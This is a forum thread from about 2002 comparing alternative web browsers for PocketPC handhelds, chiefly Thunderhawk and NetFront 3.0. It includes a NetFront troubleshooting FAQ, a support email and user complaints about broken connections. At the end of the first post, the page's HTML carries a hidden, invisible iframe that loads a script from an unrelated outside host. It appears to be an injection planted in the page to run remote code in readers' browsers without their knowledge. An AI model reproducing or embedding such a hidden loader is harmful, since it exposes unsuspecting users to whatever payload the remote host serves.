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  1. #1
    Editor and Site Administrator Convergent's Avatar
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    Raleigh, North Carolina, United States

    Is there a better browser than Pocket Internet Explorer?

    <img src="images/software-multiie.gif" align="right">
    You have a couple of choices for alternative browsers. For some reason, Microsoft is leaving the door open for 3rd parties to displace the built in applications on the PocketPC, and the browser is no exception.

    One of the most popular alternatives is Bitstream's Thunderhawk. It is a rather unconventional approach, but it seems to work pretty well for many. Thunderhawk spins the screen to landscape mode, which helps a lot, but then they use their own fonts to cram an amazing amount of a normal full screen web page onto this small screen (and still keep it readable). The way they do this, is that by using their own proxy, they only download what's on the screen. So, if you can only see 1/3 of the screen, that's all they download. That makes load times quick. But, there is a downside. If you scroll the screen over to see what is hidden, there is going to be a delay for the download. In a normal browser, once the page is loaded, you can scroll all over the place with no network activity. Thunderhawk is sold on an annual subscription basis... understandable since they have to support the proxy severs for you to use it. At the time of this writing, the annual fee was $50. You can download a trial version at <a class="postlink" target="_blank" href="http://www.bitstream.com/wireless/?wireless-web">Bitstream</a>.

    Review on Thunderhawk.

    Another promising alternative, that we reported on in a news item (with images) from <a class="postlink" target="_blank" href="http://www.smartphoneforums.com/phpBB2/posting.php?mode=editpost&p=201">11/27</a>. Access Inc. has started selling their new <b>NetFront 3.0 Browser for PocketPC</b> in the US. They ran a public beta since March, which should have given them plenty of time to get the bugs out. You can <a class="postlink" target="_blank" href="http://handango.com/PlatformProductDetail.jsp?siteId=1&jid=2D23B119CC8A54295BC57EF97X19723X&productId=47769&optionId=1_2_2&productType=2&catalog=30&txtSearch=netfront§ionId=0&platformId=2&affiliateId=191&programId=11"><b>download a trial or order it HERE</b></a>.

    <b>NetFront 3.0 for PocketPC with JV-Lite2</b> includes the following features:<ul><li>Price - $29.80 US</li>
    <li>Microsoft PocketPC, PocketPC2002</li>
    <li>HTML 4.01</li><img src="images/software-netfront-6.gif" align="right">
    <li>XHTML 1.0</li>
    <li>cHTML (Compact HTML)</li>
    <li>XHTML Basic 1.0</li>
    <li>CSS (Cascading Style Sheets) 1, 2 (partial)</li>
    <li>ECMA Script 3rd Edition (equivalent to JavaScript 1.5)</li>
    <li>DOM (Document Object Model) 1, 2 (partial)</li>
    <li>GIF, Animation GIF, PNG, JPEG, MNG, BMP</li>
    <li>SSL 2.0/3.0, TLS 1.0</li>
    <li>Multi-windows (5 tabbed windows)</li>
    <li>Cookie support</li>
    <li>Bookmark, Page Memo</li>
    <li>requires 3-6M</li>
    <li>StrongARM only</li>
    <li>JV-Lite2 Personal Edition(R) (compatible with Personal Java 3.1)</li>
    <li>Mascot Capsule(R) Engine Micro3D Edition</li>
    Finally, if you aren't that unhappy with Pocket Internet Explorer, but wish it had a few more features... namely being able to have more than one web page open at the same time, then check out <a class="postlink" target="_blank" href="http://www.zipworld.com.au/~peterept/#sw_multiie">MultiIE 2.0</a>. It does just that, along with a few other features to boot.

    Work arounds for NetFront issues

    NOTE: This information is somewhat dated... a new version of NetFront is in the works that should support Phone Edition correctly. Please post a reply if you get new info.

    I keep getting "Type:bad mimetype" errors on every page I try to load.. what should I do?
    This is caused on T-Mobile devices by their accelation process. You need to disable that to allow NetFront to work. The simplest way to do that is decline acceleration when prompted on your first use of the program. But, if you already enabled it like me, you need to disable it. You go to http://getmorespeed.t-mobile.com (this url only works from your wireless device), and disable the accelerator.

    Access doesn't say they support running this from a storage card, nor do they support Pocket PC Phone Edition.. is there a work around?
    If you follow these two steps BEFORE you run it for the first time, then you won't get the errors:
    1) Under \Program Files (main memory) create an empty subdirectory called "NetFront3 ". When NetFront starts, it tries to create the config file there, if it does not exist. Since you installed to the card, rather than main memory, it will complain. But if there's an empty subdirectory with that name, then it will use it (just to save 2-3 config files).
    2) Once you run it for the first time, you will still get one error... "can't open file...". Since the homepage points to the wrong place, go to the Options --&gt; Home and change the homepage to point to the same file. Just change from \Program Files\NetFront3 to the right subdir name on the card, or leave it empty (clear it) so there will be no homepage.

    What is Access's official position on Pocket PC Phone Edition?
    From: prodinfo [mailto:prodinfo@access.co.jp]
    Sent: Wednesday, December 18, 2002 3:52 AM
    To: Mike Collins
    Subject: Re: NetFront

    Dear Collins

    Thank you for the mail and thank you for the article for our product.

    Regarding your question, NFPPC(NetFront v3.0 for Pocket PC) doesn't
    support Pocket PC Phone Edition.
    NFPPC works on Pocket PC 2000 or 2002.

    I would appreciate your understanding.

    Best regards,

    Customer support, ACCESS Co., Ltd.
    Useful Links:
    David Lenton's - Web Browsing on the PocketPC - an in depth review of all the browsers listed here.
    PocketPCPassion thread on the subject<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    Mike - Been Converged?

  2. #2
    Editor and Site Administrator Convergent's Avatar
    Join Date
    Raleigh, North Carolina, United States

    Additional NetFront Info

    In the FAQ there is a note on how to install NetFront 3. The following is some additional information you need to know.

    In the settings under Tools-Browser settings-Network (tab), for ATT you can specify use Proxy. Enter localhost for the name and 9090 for the port. Under dialup check use dialup (there is a caveat about this I will explain in a minute) and select GPRS connection and check Disconnect on Termination.

    You will see Netfront perform its own connection suing RASdial instead of the standard API call through the connection manager. As a result you will see the handshaking and the connection will establish but the antenna will not change to the data symbol.

    A better way is to establish your data connection using IE and then launch NetFront. IE uses the connection manager API calls. The reason is that by bypassing the API NetFront can leave the GPRS connection in a bad state. You will be connected but only NetFront can use the connection. Nothing else can communicate and you will get a page not found error. It appears that after Netfront disconects things sometimes are left in a bad state and at other times they are ok. This problem was much worse with the current ROM. On the beta version I have been testing things are much better and more stable but this program (which Access says is not compatible) can casue these problems.

    If you uncheck the dialup and manually establish the connection first, you can also uncheck the disconnect box and things seem to work very well. It is certainly a superior browser to IE. Especially, the ability to move the page around with the stylus like a hand sure makes it a lot easier to read a page compared to scrolling.

    I hope this is of help to all of you.

    Source: user barjohn
    Mike - Been Converged?

  3. #3
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    Phoenix, AZ

    Better browser than IE? Try

    Check out ftoshi's ftxPBrowser for PocketPC 2002.



    Multiple tabs
    Full screen mode

  4. #4
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    If you don't want to spring for a new browser, you might want to consider adding www.skweezer.net to your list of favorites in pocket internet explorer. This site will allow you to view virtually any page on the internet by "squeezing" the information into a single column. A hefty page like USA Today can be loaded in mere seconds and easily read. The only possible problem is that it sometimes will not allow you to log into a page and when you try it sends back an error message. There is a favorites section on Skweezer that allows you to put frequently viewed sites.

  5. #5
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    At this point I do not recommend NetFront browser. It worked great, but after the trial period expired, and the program terminated, all the other browsers on my siemens sx56, including Internet Explorer, would no longer load web-pages. I suspect it changed the timeout period and I cannot fix it on IE.

  6. #6
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    I read your post about NetFront causing this: "You will be connected but only NetFront can use the connection. Nothing else can communicate and you will get a page not found error"
    That is exactly the problem I have. How can I fix this? Do I have to buy Netfront now and only use it?

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